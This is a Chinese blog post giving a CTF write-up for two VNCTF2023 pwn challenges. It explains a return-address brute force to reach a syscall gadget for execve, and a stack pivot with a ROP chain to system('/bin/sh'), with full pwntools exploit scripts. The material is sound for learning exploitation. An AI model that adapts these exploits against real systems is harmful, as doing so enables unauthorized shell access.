Fork me on GitHub

VNCTF2023(pwn签到)

XXX

程序分析

首先检查程序保护

1676797096856

从后往前看,给我们留下了syscall这个gadget

1676797327201

IDA静态分析,可以看到第一次读入的时候可以多读取0x10字节。第一个想法就是栈迁移,但是做的过程中感觉实在没有办法绕过pie,迁移到什么地方都不合适。

1676797192752

结合strtol这个return的值,应该可以控制rax进行syscall调用。

最后爆破一下ret地址,调用execve来getshell

exp

from pwn import *
from LibcSearcher import *
from sys import *
context(os="linux",arch = "amd64",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
	port = sys.argv[3]
	# p = remote("node4.buuoj.cn",port)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
	gdb.attach(p)
	pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
while True:
	try:
		p = process(filename)
		# p = remote("node4.buuoj.cn",port)
		leave_ret_offset = 0x976
		syscall_ret_offset = 0x899
		phone = flat({
			0x0:"59",
			0x2: "/bin/sh\x00",
			0x30: fake_rbp,
			0x38: p8(0x99),
			0x39: p8(0x08)
			},length = 0x3a)
		# debug()
		ru("if you give me your number,i will give you some hao_kang_de\n")
		s(phone)

		ru("hao_kang_de is ")
		stack_addr = int(r(12) ,base = 16)
		leak(stack_addr)
		ru("anything want to say?\n")
		sl("1")
		sl("cat flag")
		itr()
	except Exception:
		p.close()

我们拿着exp动调来看一下,如果我们第一次输入的内容是 59/bin/sh,可以看到第一个函数的返回的时候,rdi存放的是strtol返回的地址,也就是/bin/sh字符串的地址,因此后面可以尝试利用syscall直接调用execve

1676811047809

因为需要用到syscall,所以要修改ret的值,但是syscall的偏移在0x8A7,可以看到ret地址的低二字节,这二字节中的低12bit是固定的,但是高4bit需要进行爆破控制,概率16分之一

1676798203579

ret的时候已经控制了rax、rdi,最后的rsi、rdx需要程序来调整一下,因此需要跳到syscall - 13的位置。循环爆破即可getshell。

1676811142062

traveler

程序分析

这题就是签到差不多的栈迁移,静态分析一眼就差不多可以有思路。程序也给出了system@plt,payload构造起来很简单。主要就是迁移的时候要考虑到调用栈会覆盖到got表,需要调整一下栈帧。

1676811254947

exp

因为内存空间是页对齐的,所以开辟bss段的时候会多出来很多空间,因此第一次leave的时候把栈迁移到高处的bss段,再ret回main函数的读取,即相当于任意地址写。即可控制程序执行。

from pwn import *
from LibcSearcher import *
from sys import *
context(os="linux",arch = "amd64",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
	port = sys.argv[3]
	p = remote("node4.buuoj.cn",port)
else:
	p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
	gdb.attach(p)
	pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
fake_ebp = 0x04000000

leave_ret = 0x0000000000401253
msg = 0x4040A0
pop_rdi = 0x00000000004012c3
system_plt = elf.plt["system"]
binsh = msg + 0x20
bss = 0x404d00
start = 0x401216

ru("who r u?\n")
payload = flat({
	0x20: [bss,start],
	},length = 0x30)
# debug()
s(payload)
# pause()
payload2 = flat({
	0x0: bss,
	0x8: start,
	0x10: binsh, 
	0x18: system_plt,
	0x20: "/bin/sh\x00",
	},length = 0x28)
ru("How many travels can a person have in his life?\n")
s(payload2)
pause()

payload3 = flat({
	0x0: [pop_rdi,binsh,system_plt],
	0x20:[bss - 0x28,leave_ret]
	})
s(payload3)
ru("How many travels can a person have in his life?\n")
sl("aaaabbb")
itr()

1676812178364

posted @ 2023-02-19 21:11  Tw0^Y  阅读(358)  评论(1编辑  收藏  举报